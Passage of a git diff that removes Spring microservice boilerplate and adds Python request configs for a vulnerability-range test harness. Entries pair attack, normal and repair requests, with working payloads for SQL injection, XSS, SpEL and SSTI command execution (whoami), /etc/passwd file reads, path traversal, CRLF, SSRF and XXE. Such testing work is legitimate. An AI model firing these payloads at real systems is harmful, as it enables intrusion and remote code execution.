data.length() >= 100; - } - - private boolean containsKeyWords(String data, List keyWords) { - // 检查报告是否包含特定的关键词 - return keyWords.stream().allMatch(data::contains); - } - - private boolean isFormatCorrect(String data) { - // 检查报告格式是否正确,例如是否以特定字符串开始或结束 - return data.startsWith("Report:") && data.endsWith("End of Report"); - } -} \ No newline at end of file diff --git a/microservice-f-service/src/main/resources/application.yml b/microservice-f-service/src/main/resources/application.yml deleted file mode 100644 index e6027d1..0000000 --- a/microservice-f-service/src/main/resources/application.yml +++ /dev/null @@ -1,13 +0,0 @@ -server: - port: 29993 - -spring: - application: - name: service-f - -eureka: - client: - registerWithEureka: true - fetchRegistry: true - serviceUrl: - defaultZone: http://eureka-server:29999/eureka/ diff --git a/microservice-g-service/Dockerfile b/microservice-g-service/Dockerfile deleted file mode 100644 index 616b335..0000000 --- a/microservice-g-service/Dockerfile +++ /dev/null @@ -1,14 +0,0 @@ -FROM wushangleon/java:jdk8u112_maven as builder - -COPY . /opt/app -WORKDIR /opt/app -RUN mvn package -DskipTests - -FROM wushangleon/java:jdk8u112 -# 复制构建好的 JAR 文件到容器 -COPY --from=builder /opt/app/target/microservice-g-service-1.0-SNAPSHOT.jar /opt/app.jar - -# 定义启动命令 -CMD ["java", "-jar", "/opt/app.jar"] - - diff --git a/microservice-g-service/Dockerfile_local b/microservice-g-service/Dockerfile_local deleted file mode 100644 index 0e349a4..0000000 --- a/microservice-g-service/Dockerfile_local +++ /dev/null @@ -1,8 +0,0 @@ -FROM wushangleon/java:jdk8u112 -# 复制构建好的 JAR 文件到容器 -COPY target/microservice-g-service-1.0-SNAPSHOT.jar /opt/app.jar - -# 定义启动命令 -CMD ["java", "-jar", "/opt/app.jar"] - - diff --git a/microservice-g-service/microservice-g-service.iml b/microservice-g-service/microservice-g-service.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/microservice-g-service/microservice-g-service.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/microservice-g-service/src/main/java/com/myapp/serviceg/ServiceFApplication.java b/microservice-g-service/src/main/java/com/myapp/serviceg/ServiceFApplication.java deleted file mode 100644 index 7bc0a9c..0000000 --- a/microservice-g-service/src/main/java/com/myapp/serviceg/ServiceFApplication.java +++ /dev/null @@ -1,23 +0,0 @@ -package com.myapp.serviceg; - -import org.springframework.boot.SpringApplication; -import org.springframework.boot.autoconfigure.SpringBootApplication; -import org.springframework.cloud.client.loadbalancer.LoadBalanced; -import org.springframework.cloud.netflix.eureka.EnableEurekaClient; -import org.springframework.context.annotation.Bean; -import org.springframework.web.client.RestTemplate; - -@EnableEurekaClient -@SpringBootApplication -public class ServiceFApplication { - public static void main(String[] args) { - SpringApplication.run(ServiceFApplication.class, args); - } - - @Bean - @LoadBalanced - public RestTemplate restTemplate() { - return new RestTemplate(); - } -} - diff --git a/microservice-g-service/src/main/java/com/myapp/serviceg/controllers/ServiceFController.java b/microservice-g-service/src/main/java/com/myapp/serviceg/controllers/ServiceFController.java deleted file mode 100644 index 53f33a7..0000000 --- a/microservice-g-service/src/main/java/com/myapp/serviceg/controllers/ServiceFController.java +++ /dev/null @@ -1,16 +0,0 @@ -package com.myapp.serviceg.controllers; - - -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.RestController; -import org.springframework.web.client.RestTemplate; - -@RestController -public class ServiceFController { - - @Autowired - private RestTemplate restTemplate; - - -} \ No newline at end of file diff --git a/microservice-g-service/src/main/resources/application.yml b/microservice-g-service/src/main/resources/application.yml deleted file mode 100644 index 67b32ba..0000000 --- a/microservice-g-service/src/main/resources/application.yml +++ /dev/null @@ -1,13 +0,0 @@ -server: - port: 29992 - -spring: - application: - name: service-g - -eureka: - client: - registerWithEureka: true - fetchRegistry: true - serviceUrl: - defaultZone: http://eureka-server:29999/eureka/ diff --git a/microservice-h-service/Dockerfile b/microservice-h-service/Dockerfile deleted file mode 100644 index 58dacbc..0000000 --- a/microservice-h-service/Dockerfile +++ /dev/null @@ -1,14 +0,0 @@ -FROM wushangleon/java:jdk8u112_maven as builder - -COPY . /opt/app -WORKDIR /opt/app -RUN mvn package -DskipTests - -FROM wushangleon/java:jdk8u112 -# 复制构建好的 JAR 文件到容器 -COPY --from=builder /opt/app/target/microservice-h-service-1.0-SNAPSHOT.jar /opt/app.jar - -# 定义启动命令 -CMD ["java", "-jar", "/opt/app.jar"] - - diff --git a/microservice-h-service/Dockerfile_local b/microservice-h-service/Dockerfile_local deleted file mode 100644 index c4ec291..0000000 --- a/microservice-h-service/Dockerfile_local +++ /dev/null @@ -1,8 +0,0 @@ -FROM wushangleon/java:jdk8u112 -# 复制构建好的 JAR 文件到容器 -COPY target/microservice-h-service-1.0-SNAPSHOT.jar /opt/app.jar - -# 定义启动命令 -CMD ["java", "-jar", "/opt/app.jar"] - - diff --git a/microservice-h-service/microservice-h-service.iml b/microservice-h-service/microservice-h-service.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/microservice-h-service/microservice-h-service.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/microservice-h-service/pom.xml b/microservice-h-service/pom.xml deleted file mode 100644 index 3c26807..0000000 --- a/microservice-h-service/pom.xml +++ /dev/null @@ -1,72 +0,0 @@ - - - 4.0.0 - - org.example - microservice-h-service - 1.0-SNAPSHOT - - - 8 - 8 - - - org.springframework.boot - spring-boot-starter-parent - 2.5.9 - - - - org.springframework.cloud - spring-cloud-starter-netflix-eureka-client - - - org.springframework.boot - spring-boot-starter-web - RELEASE - compile - - - - - - - org.springframework.cloud - spring-cloud-dependencies - 2020.0.4 - pom - import - - - - - - - - org.springframework.boot - spring-boot-maven-plugin - - - org.apache.maven.plugins - maven-compiler-plugin - 3.1 - - 1.8 - 1.8 - - - - org.apache.maven.plugins - maven-resources-plugin - 3.0.2 - - - org.apache.maven.plugins - maven-jar-plugin - 2.4 - - - - \ No newline at end of file diff --git a/microservice-h-service/src/main/java/com/myapp/serviceh/ServiceHApplication.java b/microservice-h-service/src/main/java/com/myapp/serviceh/ServiceHApplication.java deleted file mode 100644 index 83fa3eb..0000000 --- a/microservice-h-service/src/main/java/com/myapp/serviceh/ServiceHApplication.java +++ /dev/null @@ -1,23 +0,0 @@ -package com.myapp.serviceh; - -import org.springframework.boot.SpringApplication; -import org.springframework.boot.autoconfigure.SpringBootApplication; -import org.springframework.cloud.client.loadbalancer.LoadBalanced; -import org.springframework.cloud.netflix.eureka.EnableEurekaClient; -import org.springframework.context.annotation.Bean; -import org.springframework.web.client.RestTemplate; - -@EnableEurekaClient -@SpringBootApplication -public class ServiceHApplication { - public static void main(String[] args) { - SpringApplication.run(ServiceHApplication.class, args); - } - - @Bean - @LoadBalanced - public RestTemplate restTemplate() { - return new RestTemplate(); - } -} - diff --git a/microservice-h-service/src/main/java/com/myapp/serviceh/controllers/ServiceHController.java b/microservice-h-service/src/main/java/com/myapp/serviceh/controllers/ServiceHController.java deleted file mode 100644 index 0690b5e..0000000 --- a/microservice-h-service/src/main/java/com/myapp/serviceh/controllers/ServiceHController.java +++ /dev/null @@ -1,16 +0,0 @@ -package com.myapp.serviceh.controllers; - - -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.RestController; -import org.springframework.web.client.RestTemplate; - -@RestController -public class ServiceHController { - - @Autowired - private RestTemplate restTemplate; - - -} \ No newline at end of file diff --git a/microservice-h-service/src/main/resources/application.yml b/microservice-h-service/src/main/resources/application.yml deleted file mode 100644 index 5fdd70f..0000000 --- a/microservice-h-service/src/main/resources/application.yml +++ /dev/null @@ -1,13 +0,0 @@ -server: - port: 29991 - -spring: - application: - name: service-h - -eureka: - client: - registerWithEureka: true - fetchRegistry: true - serviceUrl: - defaultZone: http://eureka-server:29999/eureka/ diff --git a/python_scripts/__pycache__/replay_all.cpython-313.pyc b/python_scripts/__pycache__/replay_all.cpython-313.pyc new file mode 100644 index 0000000..c0fb797 Binary files /dev/null and b/python_scripts/__pycache__/replay_all.cpython-313.pyc differ diff --git a/python_scripts/poc/__init__.py b/python_scripts/poc/__init__.py new file mode 100644 index 0000000..4e09303 --- /dev/null +++ b/python_scripts/poc/__init__.py @@ -0,0 +1,28 @@ +from .log4j import requests_config as log4j_requests +from .fastjson import requests_config as fastjson_requests +from .shiro import requests_config as shiro_requests +from .actuator import requests_config as actuator_requests +from .druid import requests_config as druid_requests +from .data_access import requests_config as data_access_requests +from .integration import requests_config as integration_requests +from .base_vul import requests_config as base_vul_requests +from .logic_vul import requests_config as logic_vul_requests +from .struts import requests_config as struts_requests +from .collections import requests_config as collections_requests + + +requests_config = {} +for module in ( + log4j_requests, + fastjson_requests, + shiro_requests, + actuator_requests, + druid_requests, + data_access_requests, + integration_requests, + base_vul_requests, + logic_vul_requests, + struts_requests, + collections_requests, +): + requests_config.update(module) diff --git a/python_scripts/poc/__pycache__/__init__.cpython-313.pyc b/python_scripts/poc/__pycache__/__init__.cpython-313.pyc new file mode 100644 index 0000000..d8c37c9 Binary files /dev/null and b/python_scripts/poc/__pycache__/__init__.cpython-313.pyc differ diff --git a/python_scripts/poc/__pycache__/actuator.cpython-313.pyc b/python_scripts/poc/__pycache__/actuator.cpython-313.pyc new file mode 100644 index 0000000..b0d1571 Binary files /dev/null and b/python_scripts/poc/__pycache__/actuator.cpython-313.pyc differ diff --git a/python_scripts/poc/__pycache__/base_vul.cpython-313.pyc b/python_scripts/poc/__pycache__/base_vul.cpython-313.pyc new file mode 100644 index 0000000..f91e263 Binary files /dev/null and b/python_scripts/poc/__pycache__/base_vul.cpython-313.pyc differ diff --git a/python_scripts/poc/__pycache__/collections.cpython-313.pyc b/python_scripts/poc/__pycache__/collections.cpython-313.pyc new file mode 100644 index 0000000..7aa545c Binary files /dev/null and b/python_scripts/poc/__pycache__/collections.cpython-313.pyc differ diff --git a/python_scripts/poc/__pycache__/data_access.cpython-313.pyc b/python_scripts/poc/__pycache__/data_access.cpython-313.pyc new file mode 100644 index 0000000..636a208 Binary files /dev/null and b/python_scripts/poc/__pycache__/data_access.cpython-313.pyc differ diff --git a/python_scripts/poc/__pycache__/druid.cpython-313.pyc b/python_scripts/poc/__pycache__/druid.cpython-313.pyc new file mode 100644 index 0000000..ebbe77c Binary files /dev/null and b/python_scripts/poc/__pycache__/druid.cpython-313.pyc differ diff --git a/python_scripts/poc/__pycache__/fastjson.cpython-313.pyc b/python_scripts/poc/__pycache__/fastjson.cpython-313.pyc new file mode 100644 index 0000000..2d86cb3 Binary files /dev/null and b/python_scripts/poc/__pycache__/fastjson.cpython-313.pyc differ diff --git a/python_scripts/poc/__pycache__/integration.cpython-313.pyc b/python_scripts/poc/__pycache__/integration.cpython-313.pyc new file mode 100644 index 0000000..dc3c7b4 Binary files /dev/null and b/python_scripts/poc/__pycache__/integration.cpython-313.pyc differ diff --git a/python_scripts/poc/__pycache__/log4j.cpython-313.pyc b/python_scripts/poc/__pycache__/log4j.cpython-313.pyc new file mode 100644 index 0000000..4102a62 Binary files /dev/null and b/python_scripts/poc/__pycache__/log4j.cpython-313.pyc differ diff --git a/python_scripts/poc/__pycache__/logic_vul.cpython-313.pyc b/python_scripts/poc/__pycache__/logic_vul.cpython-313.pyc new file mode 100644 index 0000000..6e49874 Binary files /dev/null and b/python_scripts/poc/__pycache__/logic_vul.cpython-313.pyc differ diff --git a/python_scripts/poc/__pycache__/shiro.cpython-313.pyc b/python_scripts/poc/__pycache__/shiro.cpython-313.pyc new file mode 100644 index 0000000..27a3581 Binary files /dev/null and b/python_scripts/poc/__pycache__/shiro.cpython-313.pyc differ diff --git a/python_scripts/poc/__pycache__/struts.cpython-313.pyc b/python_scripts/poc/__pycache__/struts.cpython-313.pyc new file mode 100644 index 0000000..9aa6f58 Binary files /dev/null and b/python_scripts/poc/__pycache__/struts.cpython-313.pyc differ diff --git a/python_scripts/poc/actuator.py b/python_scripts/poc/actuator.py new file mode 100644 index 0000000..6c5990f --- /dev/null +++ b/python_scripts/poc/actuator.py @@ -0,0 +1,25 @@ +# Auto-generated from index/vul.py split by module. +import os + +host = os.environ.get('HOST', '192.168.0.9') + +requests_config = {'actuator2_unauthorized': {'method': 'GET', + 'url': 'http://{}:9995/actuator'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'SpringBoot Actuator未授权访问漏洞2.X', + 'type': 'attack'}, + 'actuator2_authorized': {'method': 'GET', + 'url': 'http://{}:9994/actuator'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'SpringBoot Actuator未授权访问漏洞2.X', + 'type': 'repair'}, + 'actuator1_unauthorized': {'method': 'GET', + 'url': 'http://{}:9993/trace'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'SpringBoot Actuator未授权访问漏洞1.X', + 'type': 'attack'}, + 'actuator1_authorized': {'method': 'GET', + 'url': 'http://{}:9992/trace'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'SpringBoot Actuator未授权访问漏洞1.X', + 'type': 'repair'}} diff --git a/python_scripts/poc/base_vul.py b/python_scripts/poc/base_vul.py new file mode 100644 index 0000000..180c4bb --- /dev/null +++ b/python_scripts/poc/base_vul.py @@ -0,0 +1,631 @@ +# Auto-generated from index/vul.py split by module. +import os + +host = os.environ.get('HOST', '192.168.0.9') + +requests_config = {'sql_injection_id_attack': {'method': 'GET', + 'url': "http://{}:9991/users/1'/".format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'SQL注入-mybatics-数字', + 'type': 'attack'}, + 'sql_injection_ids_attack': {'method': 'GET', + 'url': "http://{}:9991/users/ids/?ids=1,2,3'".format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'SQL注入-mybatics-数组', + 'type': 'attack'}, + 'sql_injection_like_attack': {'method': 'GET', + 'url': "http://{}:9991/users/name?name=A'".format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'SQL注入-mybatics-like模糊匹配', + 'type': 'attack'}, + 'sql_injection_strs_attack': {'method': 'GET', + 'url': "http://{}:9991/users/names?names=Alice&names=Bob'".format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'SQL注入-mybatics-字符串数组', + 'type': 'attack'}, + 'sql_injection_orderby_attack': {'method': 'GET', + 'url': "http://{}:9991/users/sort?orderByColumn=name&orderByDirection=asc'".format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'SQL注入-mybatics-排序', + 'type': 'attack'}, + 'sql_injection_Optional_attack': {'method': 'GET', + 'url': "http://{}:9991/users/findByOptionalUsername?username=test'".format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'SQL注入-Optional', + 'type': 'attack'}, + 'sql_injection_Object_attack': {'method': 'POST', + 'url': 'http://{}:9991/users/get_name_object'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"name":"test\'"}', + 'name': 'SQL注入-Object', + 'type': 'attack'}, + 'sql_injection_Annotation_attack': {'method': 'GET', + 'url': "http://{}:9991/users/by-username?name=test'".format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'SQL注入-MyBatis注解方式', + 'type': 'attack'}, + 'sql_injection_lombok_attack': {'method': 'POST', + 'url': 'http://{}:9991/users/lombok'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"name":"test\'"}', + 'name': 'SQL注入-lombok', + 'type': 'attack'}, + 'sql_injection_lombok_normal': {'method': 'POST', + 'url': 'http://{}:9991/users/lombok'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"name":"test"}', + 'name': 'SQL注入-lombok', + 'type': 'normal'}, + 'sql_injection_longlist_normal': {'method': 'POST', + 'url': 'http://{}:9991/users/findByIds'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '[1,2,3]', + 'name': 'SQL注入-longlist', + 'type': 'normal'}, + 'sql_injection_longint_normal': {'method': 'POST', + 'url': 'http://{}:9991/users/getUserByUId'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"id":"1"}', + 'name': 'SQL注入-longint', + 'type': 'normal'}, + 'sql_injection_jpaone_normal': {'method': 'GET', + 'url': 'http://{}:9991/users/jpaone?name=test'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'SQL注入-jpaone', + 'type': 'normal'}, + 'sql_injection_jpawithAnnotations_normal': {'method': 'GET', + 'url': 'http://{}:9991/users/jpawithAnnotations?name=test'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'SQL注入-jpawithAnnotations', + 'type': 'normal'}, + 'sql_injection_Annotation_normal': {'method': 'GET', + 'url': 'http://{}:9991/users/by-username?name=test'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'SQL注入-MyBatis注解方式', + 'type': 'normal'}, + 'sql_injection_id_normal': {'method': 'GET', + 'url': 'http://{}:9991/users/1/'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'SQL注入-mybatics-数字', + 'type': 'normal'}, + 'sql_injection_ids_normal': {'method': 'GET', + 'url': 'http://{}:9991/users/ids/?ids=1,2,3'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'SQL注入-mybatics-数组', + 'type': 'normal'}, + 'sql_injection_like_normal': {'method': 'GET', + 'url': 'http://{}:9991/users/name?name=A'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'SQL注入-mybatics-like模糊匹配', + 'type': 'normal'}, + 'sql_injection_strs_normal': {'method': 'GET', + 'url': 'http://{}:9991/users/names?names=Alice&names=Bob'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'SQL注入-mybatics-字符串数组', + 'type': 'normal'}, + 'sql_injection_orderby_normal': {'method': 'GET', + 'url': 'http://{}:9991/users/sort?orderByColumn=name&orderByDirection=asc'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'SQL注入-mybatics-排序', + 'type': 'normal'}, + 'sql_injection_Optional_normal': {'method': 'GET', + 'url': 'http://{}:9991/users/findByOptionalUsername?username=test'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'SQL注入-Optional', + 'type': 'normal'}, + 'sql_injection_Object_normal': {'method': 'POST', + 'url': 'http://{}:9991/users/get_name_object'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"name":"test"}', + 'name': 'SQL注入-Object', + 'type': 'normal'}, + 'xss_reflect_attack': {'method': 'GET', + 'url': 'http://{}:9991/xss_reflect?name='.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': '反射型XSS漏洞', + 'type': 'attack'}, + 'xss_reflect_normal': {'method': 'GET', + 'url': 'http://{}:9991/xss_reflect?name=1'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': '反射型XSS漏洞', + 'type': 'normal'}, + 'xss_storage_attack': {'method': 'GET', + 'url': 'http://{}:9991/xss_storage?name='.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': '存储型XSS漏洞', + 'type': 'attack'}, + 'xss_dom_attack': {'method': 'POST', + 'url': 'http://{}:9991/xss_dom'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'DOM XSS漏洞', + 'data': 'name=%3Cscript%3Ealert%28123%29%3C%2Fscript%3E', + 'type': 'attack'}, + 'xss_dom_normal': {'method': 'POST', + 'url': 'http://{}:9991/xss_dom'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'DOM XSS漏洞', + 'data': 'name=test', + 'type': 'normal'}, + 'file_upload_attack': {'method': 'POST', + 'url': 'http://{}:9991/file_upload'.format(host), + 'headers': {}, + 'parm': 'file', + 'file': 'index/test.txt', + 'name': '任意文件上传漏洞', + 'type': 'attack'}, + 'file_read_attack': {'method': 'GET', + 'url': 'http://{}:9991/file_read?filePath=/etc/passwd'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': '任意文件读取漏洞', + 'type': 'attack'}, + 'file_write_attack': {'method': 'GET', + 'url': 'http://{}:9991/file_write?fileName=test.txt&data=test'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': '任意文件写入漏洞', + 'type': 'attack'}, + 'file_download_attack': {'method': 'GET', + 'url': 'http://{}:9991/file_download?fileName=../pom.xml'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': '任意文件下载漏洞', + 'type': 'attack'}, + 'file_download_normal': {'method': 'GET', + 'url': 'http://{}:9990/file_download?fileName=test.log'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': '任意文件下载漏洞', + 'type': 'normal'}, + 'file_delete_attack': {'method': 'GET', + 'url': 'http://{}:9991/file_delete?fileName=test.txt'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': '任意文件删除漏洞', + 'type': 'attack'}, + 'runtime_command_execute': {'method': 'GET', + 'url': 'http://{}:9991/runtime_command_execute?command=whoami'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': '命令执行漏洞-runtime', + 'type': 'attack'}, + 'process_builder_command_execute': {'method': 'GET', + 'url': 'http://{}:9991/process_builder_command_execute?command=whoami'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': '命令执行漏洞-ProcessBuilder', + 'type': 'attack'}, + 'crlf_injection_attack': {'method': 'GET', + 'url': 'http://{}:9991/crlf_injection?name=%0D%0ASet-Cookie: sessionid=123456'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': 'CRLF注入', + 'type': 'attack'}, + 'spel_expression_attack': {'method': 'GET', + 'url': "http://{}:9991/spel_expression?input=T(java.lang.Runtime).getRuntime().exec('whoami')".format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': 'SPEL表达式攻击', + 'type': 'attack'}, + 'ssrf_openStream_attack': {'method': 'GET', + 'url': 'http://{}:9991/ssrf_openStream?url=https://www.baidu.com'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': 'SSRF攻击-openStream', + 'type': 'attack'}, + 'ssrf_openConnection_attack': {'method': 'GET', + 'url': 'http://{}:9991/ssrf_openConnection?url=http://www.baidu.com'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': 'SSRF攻击-openConnection', + 'type': 'attack'}, + 'ssrf_requestGet_attack': {'method': 'GET', + 'url': 'http://{}:9991/ssrf_requestGet?url=https://www.baidu.com'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': 'SSRF攻击-requestGet', + 'type': 'attack'}, + 'ssrf_okhttp_attack': {'method': 'GET', + 'url': 'http://{}:9991/ssrf_okhttp?url=https://www.baidu.com'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': 'SSRF攻击-okhttp', + 'type': 'attack'}, + 'ssrf_defaultHttpClient_attack': {'method': 'GET', + 'url': 'http://{}:9991/ssrf_defaultHttpClient?url=https://www.baidu.com'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': 'SSRF攻击-defaultHttpClient', + 'type': 'attack'}, + 'ssti_velocity_attack': {'method': 'GET', + 'url': ('http://{}:9991/ssti_velocity?content=%23set (%24exp %3d ' + '"exp")%3b%24exp.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami")').format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': 'SSTI攻击-velocity', + 'type': 'attack'}, + 'ssti_freemarker_attack': {'method': 'GET', + 'url': 'http://{}:9991/ssti_freemarker?templateContent=%3C%23assign%20ex%3D%22freemarker.template.utility.Execute%22%3Fnew%28%29%3E%24%7B%20ex%28%22bash%20-c%20whoami%22%29%20%7D'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': 'SSTI攻击-freemarker', + 'type': 'attack'}, + 'xxe_saxparserfactory_attack': {'method': 'POST', + 'url': 'http://{}:9991/xxe_saxparserfactory'.format(host), + 'data': ']>&xxe;', + 'headers': {'Content-Type': 'application/json'}, + 'name': 'XXE-saxparserfactory', + 'type': 'attack'}, + 'xxe_xmlreaderfactory_attack': {'method': 'POST', + 'url': 'http://{}:9991/xxe_xmlreaderfactory'.format(host), + 'data': ']>&xxe;', + 'headers': {'Content-Type': 'application/json'}, + 'name': 'XXE-xmlreaderfactory', + 'type': 'attack'}, + 'xxe_saxbuilder_attack': {'method': 'POST', + 'url': 'http://{}:9991/xxe_saxbuilder'.format(host), + 'data': ']>&xxe;', + 'headers': {'Content-Type': 'application/json'}, + 'name': 'XXE-saxbuilder', + 'type': 'attack'}, + 'xxe_saxreader_attack': {'method': 'POST', + 'url': 'http://{}:9991/xxe_saxreader'.format(host), + 'data': ']>&xxe;', + 'headers': {'Content-Type': 'application/json'}, + 'name': 'XXE-saxreader', + 'type': 'attack'}, + 'xxe_documentbuilderfactory_attack': {'method': 'POST', + 'url': 'http://{}:9991/xxe_documentbuilderfactory'.format(host), + 'data': ']>&xxe;', + 'headers': {'Content-Type': 'application/json'}, + 'name': 'XXE-documentbuilderfactory', + 'type': 'attack'}, + 'xxe_documentbuilderfactory_xinclude_attack': {'method': 'POST', + 'url': 'http://{}:9991/xxe_documentbuilderfactory_xinclude'.format(host), + 'data': ']>&xxe;', + 'headers': {'Content-Type': 'application/json'}, + 'name': 'XXE-documentbuilderfactory_xinclude', + 'type': 'attack'}, + 'OpenRedirector_ModelAndView_attack': {'method': 'GET', + 'url': 'http://{}:9991/OpenRedirector_ModelAndView?url=https://www.baidu.com'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': 'URL重定向漏洞-ModelAndView', + 'type': 'attack'}, + 'OpenRedirector_sendRedirect_attack': {'method': 'GET', + 'url': 'http://{}:9991/OpenRedirector_sendRedirect?url=https://www.baidu.com'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': 'URL重定向漏洞-sendRedirect', + 'type': 'attack'}, + 'OpenRedirector_lacation_attack': {'method': 'GET', + 'url': 'http://{}:9991/OpenRedirector_lacation?url=https://www.baidu.com'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': 'URL重定向漏洞-location', + 'type': 'attack'}, + 'swagger-ui_attack': {'method': 'GET', + 'url': 'http://{}:9991/swagger-ui.html'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': 'swagger-ui-未授权访问漏洞', + 'type': 'attack'}, + 'ReDos_normal_1': {'method': 'GET', + 'url': 'http://{}:9991/testReDos1?input=1'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': 'ReDoS攻击-(a+)+', + 'type': 'normal'}, + 'ReDos_normal_2': {'method': 'GET', + 'url': 'http://{}:9991/testReDos2?input=1'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': 'ReDoS攻击-([a-zA-Z]+)*', + 'type': 'normal'}, + 'ReDos_normal_3': {'method': 'GET', + 'url': 'http://{}:9991/testReDos3?input=1'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': 'ReDoS攻击-(a|aa)+', + 'type': 'normal'}, + 'ReDos_normal_4': {'method': 'GET', + 'url': 'http://{}:9991/testReDos4?input=1'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': 'ReDoS攻击-(a|a?)+', + 'type': 'normal'}, + 'ReDos_normal_5': {'method': 'GET', + 'url': 'http://{}:9991/testReDos5?input=1'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': 'ReDoS攻击-(.*a){20}', + 'type': 'normal'}, + 'unsafeReflection_attack': {'method': 'GET', + 'url': 'http://{}:9991/unsafeReflection?className=com.example.malicious.MaliciousClass'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': '不安全反射漏洞-攻击', + 'type': 'attack'}, + 'unsafeReflection_normal_1': {'method': 'GET', + 'url': 'http://{}:9991/unsafeReflection?className=java.lang.Runtime'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': '不安全反射漏洞-无法利用', + 'type': 'normal'}, + 'unsafeReflection_normal_2': {'method': 'GET', + 'url': 'http://{}:9991/unsafeReflection?className=java.util.Date'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': '不安全反射漏洞-显示日期', + 'type': 'normal'}, + 'sql_injection_id_repair': {'method': 'GET', + 'url': "http://{}:9990/users/1'/".format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'SQL注入-mybatics-数字', + 'type': 'repair'}, + 'sql_injection_id1_repair': {'method': 'GET', + 'url': "http://{}:9990/users1/1'/".format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'SQL注入-mybatics-拦截器过滤', + 'type': 'repair'}, + 'sql_injection_id2_repair': {'method': 'GET', + 'url': "http://{}:9990/users2/1'/".format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'SQL注入-mybatics-long类型强制转换', + 'type': 'repair'}, + 'sql_injection_ids_repair': {'method': 'GET', + 'url': "http://{}:9990/users/ids/?ids=1,2,3'".format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'SQL注入-mybatics-数组', + 'type': 'repair'}, + 'sql_injection_like_repair': {'method': 'GET', + 'url': "http://{}:9990/users/name?name=A'".format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'SQL注入-mybatics-like模糊匹配', + 'type': 'repair'}, + 'sql_injection_strs_repair': {'method': 'GET', + 'url': "http://{}:9990/users/names?names=Alice&names=Bob'".format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'SQL注入-mybatics-字符串数组', + 'type': 'repair'}, + 'sql_injection_orderby_repair': {'method': 'GET', + 'url': 